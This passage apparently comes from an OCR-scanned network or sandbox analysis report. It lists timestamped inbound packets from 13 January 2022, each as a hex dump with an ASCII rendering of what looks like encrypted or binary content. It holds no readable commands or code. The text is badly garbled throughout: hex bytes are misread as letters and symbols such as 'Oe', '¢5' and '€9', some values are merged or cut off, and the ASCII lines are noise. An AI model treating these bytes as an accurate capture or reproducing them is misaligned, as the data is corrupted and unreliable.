Data Ascii: ]<0{(h.g{Un{4Wc]i*?2a/Q"T"Ks+11"s4WhO6]9QS~NLPKr!t/@E,4Ty6H=qH{il0avNg:(S2R*W\,)p.EpE*&@#ibD

2022-01-13 19:22:18 UTC 227 IN Data Raw: 18 d5 21 5a ad 8d 56 8a d1 ea fc 09 87 0f 99 eb 98 a3 d4 82 6e 6b 8e 63 2f c4 30 88 39 17 70 70 81 77 25 5e
8b 5d 24 b2 91 9c b9 7f 47 fa a2 26 ab 42 71 83 e6 14 da 64 Oe 7e 86 d1 eb 41 67 77 23 81 0d 06 03 46 3b 88 ec 37 36 36
fd 2d 34 50 67 6e e3 ef ae 5e 23 74 el a7 96 1a f7 cb 39 c0 91 7f 34 d5 fa 1f 2e 30 6e Oe aa bb a7 f2 Oe 92 b8 de 33 35 17
64 98 1d e9 6e 73 65 81 ac be 96 59 9b 26 92 78 {7 9d 82 9b 6e 84 41 10 6b c8 f1 85 34 03 dc b4 72 ¢5 b3 65 21 14 7d 2b
d6 52 11 be 41 58 d3 c0 Oc b4 Ob 9d 8d b9 00 c6 1a 73 8¢ 2d 17 d3 c7 c7 9a ed f7 27 f7 43 da 90 e6 98 49 25 da 7e af b6
c0 db cb 0a f3 03 27 ¢3 b9 57 3a 4b 97 51 63 11 fa 04 aa f5 f3 14 ed f6 86 59 37 3f €9 37 1a €2 a0 07 46 44 5b 63 bc 1a
69 9c 8e d3 d2 2d 49 02 89 3d 20 44 9f 07 90 bf ae 03
Data Ascii: |ZVnkc/09ppw2%|$G&Bad~Agw#F;766-4Pgn~#t94.0n35dnseY &xnAk4re!}+RAXs-'Cl%~'W:KQcY 7?7FDIci-I= D

2022-01-13 19:22:18 UTC 231 IN Data Raw: 8a d0 e9 ba b0 1d 7d a0 b5 63 a2 7c 4a 5 f1 f6 3d 12 e5 fc 44 Ob 9a bb 8¢ 03 66 19 43 fa dc 7d f6 21 1d 20 e5
86 18 32 13 ec da 17 11 06 a3 b7 4b 3d 8a c4 8a Oc d6 61 6d 64 e7 97 17 1f 63 39 b7 d6 7e a0 b4 42 83 8d 24 fe 62 56 6b
fb ac ¢7 a9 f9 50 bb 20 05 4c 51 78 d2 04 e8 e2 c5 26 aa ff 99 04 72 da bf d6 70 de 3a 8f f6 2c 8a 29 a7 12 09 a0 c5 b3 Oc
€4 37 54 46 2b a3 1f 5e 25 ¢9 20 85 3d 19 6d €9 d1 fO c2 al 03 d6 a0 05 94 3f c3 47 8d e9 42 8d 47 le fd 4f d7 db d9 53
f4 73 ab d7 dd bb 8d 8b 19 6f 6f 71 29 ae d8 fb 7c 95 3c 00 47 49 c1 74 d3 7b 52 67 b8 2f 50 c4 46 f9 88 2c a7 06 73 50 af
cd 4e 2e 90 3c 1e 15 79 29 1d 26 f4 35 07 74 de e0 5b 5d cb 97 el 40 8e 6¢ be 08 25 52 c¢7 85 cd 46 2a 09 00 c6 d7 4d f2
1d e9 e8 bl 4a 7 7d 37 e2 57 87 Ob f8 a9 d8 8d
Data Ascii: }c|J=DfC}! 2K=amdc9~B$bVkP LQx&rp:,)7TF+"% =m?GBGOSs00q)|<GIt{Rg/PF,sPN.<y)&5t[|@I%RF*MJI}7W

2022-01-13 19:22:18 UTC 235 IN Data Raw: a5 03 13 28 4f 2b 27 75 cd 87 8b 54 2c ¢8 94 2c¢ 11 de 53 1d 8e 0d 48 52 af 06 df 6f 5d bd d1 2a bb 8c 5d a7 33
6192 27 92 80 21 30 a3 d7 67 0b 55 16 c1 11 12 74 dc db 3f c8 ad 94 32 06 4b a4 76 72 62 85 7a d8 30 bb 06 3b d9 f4 ff
222e6902ae 17 a584f5al b2 c6 2d a3 c3a0 8334 1b ec f8 76 f2 11 70 ¢3 dd 97 5b 95 15 2d 3d 0d 61 88 d1 a5 30 6¢
dO 7f 28 11 45 e7 Oc dc e3 1b 7c b8 53 68 71 65 a6 f1 bb b5 c1 3b 8a 67 83 17 f2 a3 1d al 73 a4 dd d8 Oe 23 8c f8 89 fc
4b e7 11 be 2b e2 40 b7 98 be ad 4c e4 51 f1 €9 8e 63 67 78 6d 6f b9 04 d8 73 ac 05 c¢8 57 63 bf 37 7 03 2b 98 4e c2 84
4c bb 9a 0d 75 5¢ a9 16 b2 96 22 f0 ac 1a Oe 86 0d ef 53 11 1c de 66 11 7a 7a de a8 71 bf aa bd 4b 94 72 ea 8f 0a 3d f9
35¢323f330b443f9c9 7a53f6c9ab6b leedbd
Data Ascii: (O+'uT,,SHRo]*]3a'l0gUt?2Kvrbz0;".i-4vp[-=a0l(E|Shqge;gs#K+@LQcgxmosWc7+NLu\"SfzzqKr=5#0CzSk
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:18 UTC 239 IN Data Raw: 39 c4 38 le 05 97 42 df b0 40 6¢ 73 31 a6 3c d8 d6 88 5c ed 60 fd 77 f1 d2 5d 8b 5d 65 e7 61 33 df 52 be e4 eb
41 67 69 76 46 18 4a 5d 72 33 d9 f1 Oc 8e a9 Oe c4 86 e8 b7 b7 66 3e 5f 43 79 1e 5c 38 f2 93 df 84 b3 00 3c d1 ff f8 cd 92
ff 26 63 de d1 e5 4b a0 fd 45 24 62 be db 00 67 03 02 €3 38 2a 54 79 de 9c 7e ae 5a a4 c2 5d 84 bc b0 88 3a bd 69 3d bl
1b 69 Oa 79 88 b3 0f 49 3f 39 bb 8f 5¢c al ce 49 01 3c fc fb 06 6a €3 58 42 e3 b8 fd 93 84 a9 c0 Ob 50 33 32 8f 51 cd 2d al
6d dd 1a e8 2a 63 92 ac 65 77 a8 31 a7 43 6a 3f f7 99 15 a5 84 79 93 53 7c fe a2 7f 7f 4c f4 51 9 43 bl 9c d8 fa 3f a2 79
19 33 9c ea d2 64 el 40 03 51 bb 5c aa fc e4 Ob c2 05 df e0 af 48 Of 9b 3d 4f 7c bf 4a 36 bb 6a 5a 51 6e e5 2d c4 08 73 23
d5 76 21 51 89 6a ff da 17 35 96 11 f6 40
Data Ascii: 98B@Is1<\'w]lea3RAgivFJ]r3f>_Cy\8<&cKE$bg8*Ty~Z]:i=iyl?9\I<jXBP32Q-m*cew1Cj?yS|LQC?y3d@Q
\H=0|J6jZQn-s#V!Qj5@

2022-01-13 19:22:18 UTC 243 IN Data Raw: a0 34 cb cd 7c 09 Oe 13 9d bc ed 07 11 b5 b8 40 07 36 08 64 8¢ 63 af b5 f9 98 00 63 1f 92 af 06 7d 2d 0 7c fa
ab d0 e4 5e 2d 3f 62 b7 a0 65 84 75 6¢ d4 f0 84 32 db 39 03 e2 5f 2e 6e d0 c8 9f 13 04 00 44 95 cb b7 df 7d bd b0 50 00
8a 9c Oc be ce 3e f2 ae 5a 49 d6 ae 49 ba 9e 37 c1 69 1e cb 85 92 18 ce 77 Ob 51 9e 3a 43 74 a7 Oe fe 92 a4 1d 53 aa Of
af ba bl 3c 31 4f 7c 92 1a d8 7b 6¢ al 8e 50 bb 96 fe d8 ef 81 28 c0 el 67 80 96 03 4a 27 el 35 42 1f 2e 04 41 d4 77 70
56 44 30 42 a8 b7 99 ad 76 eb 20 8e 80 8f f7 92 4a fb 2b 28 1c 6f 4f 8¢ 05 da €8 4c cf 09 af 42 97 76 d5 83 4e 53 78 b1 08
8e ce d3 8237 97 61 25 Oc a7 e5 17 6e b4 19 b5 32 88 87 94 00 08 dc 90 97 7b cb 68 55 87 dd 8e e7 85 28 60 e3 f2 6¢ fd
03 26 8f 61 7d bb dO 8b e4 f5 77 7d e7 21 3b de el
Data Ascii: 4|@6dcc}-|*-?beul29_.nD}P>ZI17iwQ:CtS<10[{IP(gJ'5B.AwpVDOBvV J+(0OLBVNSx7a%n2{hU( |&a}w}!;

2022-01-13 19:22:18 UTC 247 IN Data Raw: a0 f9 5f 89 5b 82 cf 81 41 4b ce 03 d2 0a 46 30 €6 56 16 ab 6a 61 be 3e 09 c9 55 96 5¢ 01 Oa 4c c8 11 dd e3
16 aa 20 9c 79 c6 ae db 65 f5 a6 e5 7b ca b7 4f 1f 1e 2a f7 73 d4 4d a0 a2 fc f6 ba 20 9c el e8 75 d9 d0 06 61 8c 8e 90 aa
d2 31 66 4d a0 ca 16 64 74 90 97 c2 24 47 b4 1a 90 4e 25 de 62 al 7d 20 9f 90 97 e2 6d 09 ca eb c1 5b 80 47 b4 36 ee cb
98 00 59 19 2e 7d cd 02 5d 1e 9b 9b Oe 27 0f 95 03 76 5¢c a7 68 de 62 2d 7a 1e 9b 7b c9 e5 d2 01 da 8e 92 6b e5 5f 8a 21
01 ae d9 88 a5 69 d0 34 db 15 16 99 ba 04 42 86 a2 9d 71 d8 74 58 18 bb b4 d7 f6 94 9d 51 a9 56 17 e4 50 €0 69 24 86
7a 47 65 f6 5e 09 2a f4 48 36 1d 19 a7 68 e0 69 79 c5 38 d5 25 0b 90 97 b0 dc ce 01 96 85 7c 4b e6 54 7c 4b d7 f5 52 2¢
83 3b 2a f4 b2 c3 a6 e6 49 b8 dd e0 40 c4 14 a5 5c 02 68
Data Ascii: _[AKFOVja>U\L ye{O*sM ualfMdt$GN%b} m[G6Y.}]'V\hb-z{k_!i4BqtXQVPi$zGe*H6hiy8%|KT|KR,;*I@\h

2022-01-13 19:22:18 UTC 251 IN Data Raw: 27 f9 33 99 06 fd 24 c5 a7 e8 52 b9 ba 83 31 2b 7c 10 b0 8f 1f 7e 44 bd b1 51 al b2 c8 d3 81 e4 5b Oe bd 2b
7d 71 d8 39 5¢ 58 10 €9 d6 08 43 57 92 b6 c2 eb c9 50 20 4c 29 85 37 df ec d9 f1 65 fe e7 de 27 07 ae dO 7f 38 c6 27 32
ee b5 40 45 b8 6¢ 6f a8 e4 58 12 a0 f2 9f 70 7a 4e 1c 9e c4 2d a0 fd c6 29 9b 08 ad 50 d0 03 5a 18 3f 44 66 7e f1 ca 52 2a
ac d2 7c 4d 85 38 0f 3f d7 f0 90 92 7c 4e a5 61 23 01 8b 2f 74 5b 0d 37 11 3e cd 9c 26 8e 6b e7 97 04 22 81 3d 5d b8 ce
de 62 f4 b5 c8 12 2a f4 10 ba 8a a8 59 9c bd bb d2 08 32 e7 a5 64 7c 4b be 3d 48 36 fd 29 54 13 1f 1d 2d 7b 07 c7 53 af
81 35 bf bf 58 1a 70 50 d3 8b df e5 5¢ 03 57 98 Oc b2 5¢c 03 49 b9 20 9e 59 9d d5 8f b5 48 8c ae 6f ed 88 a5 20 9e aa d0
51 ab 3cdc 61 8e b0 dd d2 39 66 48 13 12 8f 94 af 6b
Data Ascii: '3$R1+|~DQ[+}q9\XCWP L)7e'8'2@EIloXpzN-)PZ?Df~R*|M8?|Na#/t[7>&k"=]b*Y 2d|K=H6) T-{S5EXpP\W\I YHo
Q<a9fHk

2022-01-13 19:22:18 UTC 255 IN Data Raw: 4b fa e3 b7 2b 47 85 Oe 87 6b 90 c5 f3 6e 37 20 c2 74 1d 5¢ 41 11 5b b1 70 60 59 c8 51 dd bd eb 85 7a 04 19
4989 17 la al 38 87 76 19 70 12 df b9 e0 2d 3f 01 83 5¢ 33 59 ad 67 b5 0a 1b 56 77 83 6b a0 be 7e 16 ce 30 d2 39 12 ec
17 70 02 23 50 75 8¢ f0 12 dc 3d 00 2e b9 e8 08 2e cd ae €9 89 7b 91 6f b8 8b 72 16 cf b2 f2 80 83 73 94 c0 7c 1f 61 cd
dd b4 95 5d c4 4a 6e 2f 39 14 ¢3 97 36 df b0 9e aa 8c fd 74 37 61 be Oc 6 €9 89 65 a4 bf d0 34 db cd cb dd b8 8d 57 c4
45 80 83 0a 3f 1a d1 db ae 9b 4b fd 74 68 4e 14 94 ee Oe 7 68 3c 98 cb ¢5 9c c1 93 2d 27 52 79 da 78 42 96 d1 d8 34 be
67 cc 52 78 3a 8d 53 f0 17 59 ca 42 a8 dc 4f 97 77 97 73 9f 2d 00 0d 70 01 8f 56 65 a0 af 39 66 49 89 6e 3e ba 6¢ 24 c2
79 b2 95 57 fa 91 29 42 bb fe df ac 80 c8 4d 7 7b b7 1a
Data Ascii: K+Gkn7 t\A[p"YQzI8vp-2\3YgVwk~09p#Pu=..{ors|a]dn/96t7ae4WE?KthNh<-'RyxB4gRx:SYBOws-pVe9f
In>1$yW)BM{

2022-01-13 19:22:18 UTC 259 IN Data Raw: 17 4a Ob 20 ae 85 Oe e8 69 a2 ce 44 fe f4 84 e3 de 10 8b 3b 6a 21 31 20 ae 85 Oe f2 80 e2 5¢ 55 a4 b6 fb 57
a8 fc 96 c6 le cf b2 86 90 d3 bb f6 88 f8 8d 4f 97 75 eb d0 34 bf 8f 4a Ob 61 be 2c c9 d6 42 89 17 7f 01 89 17 79 f4 c5 9c
el da 27 3e 90 a6 a5 55 ¢3 97 59 ad 15 16 c8 23 15 16 ec 72 01 ea 3d 6f dd d1 b6 fb 7d fc f9 Of 60 3c 98 b8 8f 24 de 53
ed f4 e7 e7 94 af Oe 87 57 a8 b9 81 69 d0 5d b6 bd 8a 98 b8 c8 23 a3 51 9b 3f 1d 28 af 6b bc 08 0d 04 11 0d 76 6d b6 fb
63 c3 e5e3 bl 70 23 35 7d fc e2 5¢ 55 a4 bc 08 Oa 7e 10 8b 69 d0 57 a8 b5 78 3c ec 72 64 45 80 e6 65 aa e0 39 66 07 {7
72 64 2b 47 e4 61 ce 30 bf 8f 4b 8e el da 4b 8e b4 f6 c4 1a al 4c 20 ae ab 62 75 eb c0 11 34 db fd 18 a9 5e 08 79 f5 06
75 e8 47 85 0e 87 7c 7a 10 8b 75 eb b9 81 60 3c 80 83
Data Ascii: J iD;j!1 \UWOu4Ja,By'>UY#r=0} <$SWi]#Q?(kvmcp#5)\U~iWx<rdEe9frd+Ga0KKL bud’yuG|zu'<

2022-01-13 19:22:18 UTC 264 IN Data Raw: 04 Oa cc d4 8d f3 f1 02 ¢7 Oc 22 4c bd 21 e7 18 62 b6 04 8f f2 57 57 57 61 77 10 74 a4 1f d3 44 32 1a 5e c7 6¢
9a 42 05 66 c5 27 c1 4b 0f 35 a2 0f d8 0a 81 9c 33 07 08 f5 fd 4c ef 52 ff ¢7 5f Oe 5e c7 5f 6a 8¢ 73 19 fb f0 99 ¢5 75 02 85
f12c 18 4c 72 15 67 bd 8a 66 b6 04 3d 6f dd d1 74 43 57 ea 91 9d 6 47 7a 93 c4 ea 91 f6 6a b9 7e a0 28 2b b8 20 4c fa
6e a9 ad 90 59 5f 54 d5 40 89 95 9f b7 ¢3 77 18 62 8d ec dO cb 2e 4b 48 f8 71 16 67 33 89 c6 el 25 f9 cc d4 c2 de 98 47
7abb 4b 71 1d fc 45 7f fe 05 6f 16 67 8e 27 1le 55 eb 23 07 08 04 9e 91 d6 37 8b 5e c¢7 0d e4 b6 04 cc f6 77 10 59 73 0d
fb f1 1d {7 f4 63 24 50 e6 aa 2f 9f 2a aa 8f 4b 8e 5d 49 76 24 b7 7d fc 26 aa f6 ab 9d e8 c5 55 5b 44 09 00 97 da a4 26 43
91 c7 55 5b 5f 4a fd e7 1f d4 c6 el 25 c3 68
Data Ascii: "LIbWWWawtD27IBfK53LR_~_jsu,Lrgf=otCWGzj~(+ LnY_T@wb.KHqg3%GzKqEog U#7 WY sc$P/*K]Iv$}&U
[D&CU[_J%h

2022-01-13 19:22:18 UTC 267 IN Data Raw: 2e 32 29 d7 0f f6 77 6b 10 74 97 43 bc {7 f4 1d 8 70 9f f6 69 2¢ 36 2d bc f4 7b 04 8c 62 be d9 1d fd 29 20 cc 49
89 17 la al 4c 10 8b 1b 23 35 5d b6 fb 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 f7 Ob 00 68
06 75 eb f0 e5 e3 de 53 68 ¢5 17 91 d6 bb 7f fe 65 32 23 ca d8 a9 b1 8f db 25 d2 c6 el 3e 15 e9 13 cc 5 f9 f0 ac 32 29 bd
59 7e 80 7c c3 29 a6 28 01 26 43 83 b4 3a 17 e5 58 e6 9a 42 43 b0 12 70 d6 8e 5d 49 3a 24 48 f8 3¢ 20 51 64 eb 3c 13
ed 5f 76 92 54 8b d7 3b 95 95 fe 65 38 40 39 99 c¢5 3d a3 ae 16 06 b9 7e 80 1f e0 a7 a6 4e d8 b9 7e ea a5 aa 1f a8 19 e0
a7 2c 09 04 8f ab a9 a2 31 a2 38 12 70 96 42 Oc 7d Oa 88 63 3¢ 1a 57 5e e2 f4 2c 61 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa
91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91
Data Ascii: .2)wktCpi,6-{b) IL#5]$}2B)B)BhuShe2#%>2)Y~|)(&C:XBCp]l:$H< Qd<_vT;e8@9=~N~,18pB}c<W" a}2
B)B)B)B)B

2022-01-13 19:22:18 UTC 271 IN Data Raw: €6 9a 58 cf 57 57 4e f2 66 b6 1c 41 9f b7 94 46 ea 91 9b 8d 92 e3 b3 19 72 64 ba fb ec 72 64 45 80 bc 08 79 f4
32f2 a4 e51c 27 bf 3c 13 d9 03 11 f2 47 42 05 Oc 42 3a 17 e5 59 17 e5 1c 13 a7 a6 28 70 d0 cb 56 8¢ 34 24 48 c0 d6 bd
7514 6e a4 2c 1b e9 13 ed 74 e8 a5 aa 8b 76 f2 7f 78 f2 33 a6 bc 65 58 d5 79 32 0f f6 77 1f d3 44 01 18 62 be e0 b4 09
04 bf 40 0a 81 c9 69 2f af a7 95 cd 51 57 64 ba fb df 19 e0 a7 95 fe 65 38 28 Oc 7d 03 7d 6f 1b dc e9 81 65 38 1d b8 cf 4d
6d 6a 1f d3 44 4d df 2a 29 fc d9 37 ad b2 a7 a6 64 ad 3b 95 82 5f 45 7f bl a8 23 ca 97 ee 88 6a 84 6¢ bd 75 0f ed 10 74
8d ¢c5 79 Ob e6 83 ec 8d c7 47 62 be bd 3b db 85 63 ae 84 8c 61 41 87 13 12 8f 24 f2 80 83 Oa c6 3a cc 1e 55 26 3e 5e c7
72 b0 1e 55 69 1f da b5 b2 39 9f b7 b8 39 9f b7 bd
Data Ascii: XWWNfAFrdrdEy2'<GBB:Y (pV4$Hun,tvx3eXy2wDb@i/QWde8(}}oe8MmjDM*) 7d;_E#jlutyGb;caA$:U&>"rUi99
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:18 UTC 287 IN Data Raw: fa 91 29 df 9b 3f 73 7a 86 90 a6 65 4b 8e a2 52 f7 0b 00 f4 54 22 b3 cc e3 de 53 03 2e cd ae 75 4b 8e a2 76 a5
55 a4 4f 05 f3 02 fO Oc 82 87 ab aa e0 58 b6 8a 99 3a 74 3b 6a 52 a4 b3 74 68 d2 74 68 4e 88 95 32 d6 fb 43 7c 7a ed 16
98 b8 64 a5 55 a4 6a 06 75 eb 6b 72 64 45 1b 6f dd d1 04 fc 96 b4 6d 9c c1 93 b6 d3 bb 86 29 02 6¢ 57 32 Oe 87 13 88 91
2942 43 60 3c ec eb 4d 92 ab fb 63 ¢3 97 84 4c 10 8b 83 f7 0b 00 fO ¢3 97 36 67 30 d2 39 fe 2a c5 9c 59 f1 fd 18 2f dc 4f
97 ae al 4¢c 10 13 22 b3 74 da c6 le aa 78 58 2a c5 Ob f0 7b f8 3f ff 1c a6 40 26 bc 08 ee cb a9 5e 80 5f ba 04 e7 52 1d 28
57 80 83 0a c6 ca 27 3e 66 68 4e 14 01 5a 2f 50 ab a2 ce 30 47 2d 4b 8e 37 15 16 98 00 b8 ff 1c 33 37 61 be 99 6a 52 1d
9a 31 54 22 26 8e a2 ce a5 75 eb f0 c3 03 ee 77
Data Ascii: )?szeKRT"S.uKvUOX:t;jRththN2C|zdUjukrdEom)IW2)BC <McL6g09*Y/OL"txX*{?@&"_R(W'>fhNZ/P0G-K
737ajR1T"&uUwW

2022-01-13 19:22:18 UTC 299 IN Data Raw: 54 f0 48 c4 91 65 c¢7 a0 cf 22 a6 28 d0 42 71 aa 3e 7a 3e ea 85 39 ed bc 08 79 ¢8 19 22 3e b9 al a0 49 c1 c4
Oa 5a5b 38 ac ed dO 68 c7 €8 a5 99 6 44 32 1a 62 69 14 17 52 e2 a3 bc 33 b1 75 9f 81 80 cb a9 5e Oc ff 11 86 d8 6e b7
fe d2 f5 caeb 3c 20 62 8d ec be cO dd 1d e4 ad ab ae 25 f9 52 3d ab el 92 6a d9 09 6f d2 f9 0f 09 fe a2 4f 5e Ob 01 61 f6
62 ca 6f fd f4 07 bf da 0Oa b2 3e 3d a3 9d 8f e8 a5 99 6 44 32 1a 6d 15 d5 e2 7c be 8f 6¢ c7 5f 45 7e 07 1f 2¢c c9 a5 5d 0f
e3 55 ec 52 f1 7e 37 34 9b f3 ce fc 5a 3 12 43 bf d2 19 db 4e 5c a3 ae 16 63 26 54 2a 4e ¢5 17 52 1c 2d 03 04 fb 5b 91
c5 1f 64 10 cb 65 Ob cc €7 2b 8b d8 56 e2 df 9d 4b aa bc 83 46 27 2a 4e 58 db bf 5¢ 08 34 c0 95 77 10 74 98 b8 64 c8 6e
ab 62 a3 d0 75 8d 35 2e le 91 64 45 80 83 1a 84 90
Data Ascii: THe"(Bg>z>9y">1Z[8hD2biR3u”n< b%R=jo0"abo>=D2m||_E~,JUR~74ZCN\c& T*NR-[de+VKF*NX\4wtdnbu
5.dE

2022-01-13 19:22:18 UTC 315 IN Data Raw: 8b 53 bf ab 16 13 5e 10 af 17 91 65 e7 c3 d3 c4 15 e5 3a 63 8b c1 97 26 b3 af 68 06 6f 36 34 a9 91 12 c¢7 79 7f
49 99 fa 12 c¢7 ae 9c f1 ¢4 56 27 75 66 01 28 c3 df d1 56 e7 af a8 57 e0 70 35 d6 Oa 41 Ob df ee 3f 73 €6 20 c6 0b ff d2 b2
ba 04 70 24 4e 01 15 e8 e2 19 d2 b2 ba f2 b3 31 54 22 b3 6 el d5 40 70 28 1b 10 8b 1b 66 fa 84 73 28 4b c6 17 6e ad e2
14 90 49 48 4f bf f2 ab 2a f5 7b 73 ae €9 ec 37 94 ba fb d9 43 34 29 c9 ed 1d a3 19 2f bc 8b 53 ¢8 62 17 5b e6 7d d8 32 5f
290 82 eb 79 bc 00 4c 4c 99 72 a8 10 47 49 45 4c dc 8c c1 a3 95 b1 38 ac c1 e7 6¢ 1f 6¢ 73 ba 8f 6¢ 57 a8 99 b9 94 50
d2 b2 ba 0d 70 bb 03 a6 d7 c4 5¢c b2 e7 18 52 96 fc 9f 3c 13 97 7e b5 7c 05 fc 65 e7 ¢3 d3 ab 6d f1 d9 8c 17 52 d4 3e b9
al 68 Oa f7 43 bc 3b 73 95 fa aa a8 d8 ae 28 88
Data Ascii: S"e:c&ho64yIV'uf(VWp5A?s p$N1T"@p(fs(KnIHO*{s7C4)/Sb[}2_yLLrGIEL8IIsIWPp\R<~|emR>hC;s(

2022-01-13 19:22:18 UTC 331 IN Data Raw: 8f 20 ed 33 59 ad 67 17 9f 47 86 6e d8 07 e6 19 1b 58 13 12 8f a3 1c b3 8b d0 bf c7 a9 2a 05 76 25 3a e8 d3
10 8e 29 0Oa 7e 7f 86 f2 95 cd 65 4c 58 23 41 b8 7a 3e f1 fd a2 6e 5e b3 3c ec 72 e3 a9 4b 71 29 c9 ed f4 84 88 95 8a d8
46 03 ee a7 7d 68 c5 d4 2a b1l b0 68 06 75 eb 4a c0 14 1f 64 3d 2c 40 bd 4d 19 57 ab 89 17 1a 26 1f 39 99 32 a2 Oe 02 24
b7 7d 47 9b 3a 63 8b 1b 23 4a 14 7c 3a 93 a4 9b 17 61 37 2d 77 84 05 cb c2 9c 85 Oe 87 13 9a 3e 78 39 16 bc 4c 9b 77 ef
9 0f 89 94 26 f4 b4 b4 7b bc 08 79 f4 1c 82 03 65 8f 04 33 d0 7c 7a 76 6d 49 ad e3 55 ec 3a a3 dc 07 ef ba 8d 10 e8 e0
14 46 30 d2 39 e3 77 fa 6e 4b cd 27 76 aa 6b 9d 40 80 bb bf e9 9 98 78 f4 cc 2b 47 85 be 28 44 75 a3 59 ee fe 65 f4 44
01 ea 6e e7 40 f0 ba Ob f0 7f 7a ff 2f d9 8c 9e c5 9c cO
Data Ascii: 3YgGnX*v%:)~eLX#Az>n"<rKq)Fth*huJd=,@MW&92$}G:c#l|:a7-w>x9Lw&{ye3|zvmIU:FOIwnK'vk@x+G(D
uYeDn@z/

2022-01-13 19:22:18 UTC 347 IN Data Raw: f1 f5 06 75 ea 6a 66 6d b8 8b 7a 12 e6 4b 8e a2 ce 30 d2 39 66 49 89 17 la al 4c 13 12 8f 24 a3 50 1la al 4c
1083 0a 7e 7f 15 24 93 4¢c 64 24 d3 d2 17 1a al 4c 10 8b 1b 23 35 5d b6 fb 13 12 8f 24 b7 7d fc 97 35 5d b6 fb 15 16 98
b1 30 d2 39 66 49 fa e2 3e df d5 bf 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 43 7f 01 ea 6e 59 ad 67 cc 1b 23 35 5d
d7 b0 8c fa bf 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 90 a5 55 a4 d3 ba 04 70 78 al 4c 10 8b 6f a5 30 a6 f9
0f 0a 7e 7f 01 e2 5¢ 33 5b ed f4 84 e7 89 62 29 36 b9 81 06 75 eb f0 73 €6 65 c6 1a al 4c 10 ee 1a cO 7f 69 dO 34 db cd
ae e9 ec 72 64 45 80 83 Oa 7e 1a ca 46 65 c6 79 f4 84 73 18 9d 43 7e 9b 3f 73 e6 00 04 19 79 da 4a 08 79 f4 84 84 8c e
€0 25 Oc a6 b6 8f 45 e4 08 57 a8 df d5 bf 8f 2¢ c9
Data Ascii: ujfmzK09fIL$PL~$Ld$L#5]$}5]09f>$}2B)CnY g#5]$}2B)BUpxLo0~\3[b)6useLidrdE~FeysC~?syJy%EW,

2022-01-13 19:22:18 UTC 363 IN Data Raw: 36 df d5 bf 8f d4 3d 6f dd d1 b6 fb 13 12 8f 24 b7 7d fc 96 b4 6 db cd af 6b d5 bf 8f 24 b7 7d 13 12 8f 24 b7 7d
fc 96 59 fd 18 9¢ c1 93 2d 4b 8e a2 ce dd d1 b6 fb 13 12 8f 24 5f e9 ec 73 €6 65 c7 a0 ca 27 3e 14 94 af 6b d5 bf 8f 24 09
ab 62 40 f5 06 75 eb fO 7b f8 33 59 ad 67 cc 2b 47 85 a4 d3 bb 86 90 a6 d7 c4 1a al 4c 10 8b 1b 23 35 5d e2 5¢ 32 d6 42
fa 91 29 42 fa 7e 7f 01 ea 6e 5b b1 70 88 Oa 2f 51 68 4e 10 8b 1b 23 35 5d b6 fb fb 13 12 8f 24 b7 7d fc 70 34 db cc 2b 47
85 0e 87 13 12 69 d0 34 db cd ae e9 ec e8 38 e4 60 3c ec 72 64 45 80 83 90 a6 d7 c4 1a al 4c 10 02 f3 53 9e 36 df d1 b6
fb 13 12 8f 24 b7 f4 84 8¢ 9e c5 9c c1 93 ac b4 f6 89 17 1a al 4c 10 8b 1b a2 ce 30 d2 39 66 49 89 67 cc 2b 47 85 Oe 87
13 12 8f 24 b7 7d fc 96 b4 f6 dd d1 b7 7d fc
Data Ascii: 6=0$}k$}$}Y-K$_se'>k$b@u{3Yg+GL#5]\2B)B~n[p/QhN#5]$}p4+Gi48 <rdELS6$L09fIg+G$}}

2022-01-13 19:22:18 UTC 379 IN Data Raw: 89 16 98 b8 ff c4 1a a3 51 9b 3e 1f 2d 4a 0b 05 f1 Oe cc c3 2d 40 f6 ee 02 6f e0 01 9f 1f 75 9e 92 f2 be 5a 75 bl

b6 al 15 65 7c e5 d3 e1 92 17 5b e9 ed d5 bc 08 79 f4 84 e5 2b 66 09 f9 06 75 eb fO 7b fb 13 7a 58 46 62 2f 22 d6 36 bl
19 1f 2c cb a9 36 f1 9f 21 5d d2 4d el da 4a 09 fb 7b d6 31 31 24 ce 44 89 17 1a a3 51 f3 2c a0 ba 65 a2 bd eb 92 c6 71
81 05 f3 03 ee 14 ba 70 09 83 6f b3 1b 57 c9 a5 55 c1 f7 7e 13 71 8¢ f7 24 c3 €5 80 ae dd e7 90 8b 6¢ 30 bc 61 d3 94 db
a4 b4 db fe ec 5f 8e 94 d8 6b a2 a9 30 bb eb df b6 89 64 6a 24 d2 5d c5 ef 96 ¢6 7d d3 81 46 03 8b 7f 74 04 13 7c 13 3d
5d 85 79 93 43 15 7b d5 8b 2d 3c c1 a7 6f 82 b1 48 7f 2e f9 39 Ob 64 31 79 9a d4 5¢ 5b d2 55 cb c6 6a 7f 75 98 d7 ac ca
55 cle7 94 ce 5d d5 dc 28 ef 8f 41 1c d5 cc 44 8¢

Data Ascii: Q>-J-@ouZue|[y+fu{zXFb/'6,6!]MJ{11$DQ,eqpoWU~q$l0a_k0dj$]}Ft|=]yC{-<oH.9d1y\[UjuU](AD

2022-01-13 19:22:18 UTC 395 IN Data Raw: 32 b1 19 6¢ 39 13 32 b1 1e c5 f0 5b d6 2c a6 bb 81 0d 06 75 eb f0 cf 91 2b 47 f1 a2 ab 18 f4 f7 08 79 86 f1 95
51 9d 42 8 8d 20 be bd 8a 99 3a e8 69 d0 36 f8 8d 20 ae e9 85 c6 3b aa e0 3b 44 9a cf da 3e 82 eb 84 a3 25 48 64 6a 26
ce 53 b2 c6 28 b7 50 6e 3c 82 ee 1a 8e d6 2b 20 83 39 10 a6 e3 e8 1e 87 64 22 dd b8 92 84 ef 8b 68 61 c8 46 67 bf fc 9
7d 9f 67 6 cb a8 dc 76 54 57 ¢6 79 c9 c1 e7 94 82 a7 6b 9a 90 86 {7 26 9c {5 30 ff 2a fd 60 01 82 e4 13 73 8b 36 ff 7f 68
3c 89 79 91 4e 29 27 50 6¢ 23 58 07 d7 f0 4d ff 31 74 5a 01 d3 95 06 55 e7 c7 f5 48 40 f4 8¢ 9e c5 8f 7c 7a 72 64 45 88 1f
